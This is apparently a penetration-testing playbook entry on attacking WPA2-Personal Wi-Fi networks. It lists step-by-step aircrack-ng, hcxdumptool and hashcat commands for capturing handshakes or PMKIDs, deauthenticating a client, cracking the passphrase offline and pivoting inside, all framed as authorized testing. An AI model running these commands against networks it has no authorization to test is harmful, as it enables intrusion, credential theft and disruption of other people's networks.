WPA2-PSK attacks
When it applies
An authorized wireless assessment where a WPA2-Personal (pre-shared key) network is in scope and you
have a monitor-mode-capable adapter within radio range. This is pentest-only — wireless testing
needs physical proximity and authorization for the specific SSIDs (record them in scope.txt).
Why it works
WPA2-PSK derives its session keys from the passphrase and values exchanged in the 4-way handshake. Capture that handshake (or a single PMKID from the AP) and you can brute the passphrase offline — no further interaction with the network, no lockout. Weak/guessable PSKs fall quickly.
Method
- Monitor mode.
airmon-ng check killthenairmon-ng start wlan0(interface →wlan0mon). - Discover.
airodump-ng wlan0mon— note the target BSSID, channel, and associated clients. - Capture — two routes:
- 4-way handshake: lock to the channel and capture:
airodump-ng -c <ch> --bssid <BSSID> -w cap wlan0mon. Speed it up with a targeted deauth of one associated client:aireplay-ng -0 3 -a <BSSID> -c <CLIENT> wlan0mon(minimal, not a flood). - PMKID (clientless):
hcxdumptool -i wlan0mon --enable_status=1— grabs the PMKID from APs that expose it, no client needed.
- 4-way handshake: lock to the channel and capture:
- Convert to hashcat format.
hcxpcapngtool -o hash.22000 cap.pcapng(the modern.22000format replacing.hccapx). - Crack offline.
hashcat -m 22000 hash.22000 rockyou.txt -r rules/best64.rule— hand off the deeper cracking flow tonetwork-credential-cracking(wordlists, rules, masks). - Prove and pivot — once on the WLAN, treat it as a network foothold (
recon,network-*,network-pivoting-tunneling).
Gotchas
- Deauth minimally. A broadcast deauth flood is disruptive and often out of RoE — deauth one client, briefly, only to force a handshake; confirm the RoE allows it.
- Handshake completeness —
aircrack-ng cap.pcapngshould report a valid handshake / EAPOL M1-M4; a partial capture won't crack. PMKID avoids this. - Channel lock matters — capturing while hopping misses frames; pin
-c <channel>. - Regulatory/adapter limits — some adapters/regions restrict channels or injection; verify the adapter supports monitor mode + injection first.
- PSK strength decides everything — a long random PSK won't crack; report that as the positive finding rather than burning weeks.
Verify success
A recovered PSK that authenticates to the target SSID (or a demonstrably valid captured handshake for a weak-PSK finding) — obtained with minimal disruption and only for in-scope SSIDs.
References
aircrack-ng suite docs; hcxdumptool/hcxtools; hashcat mode 22000. Cracking depth:
network-credential-cracking.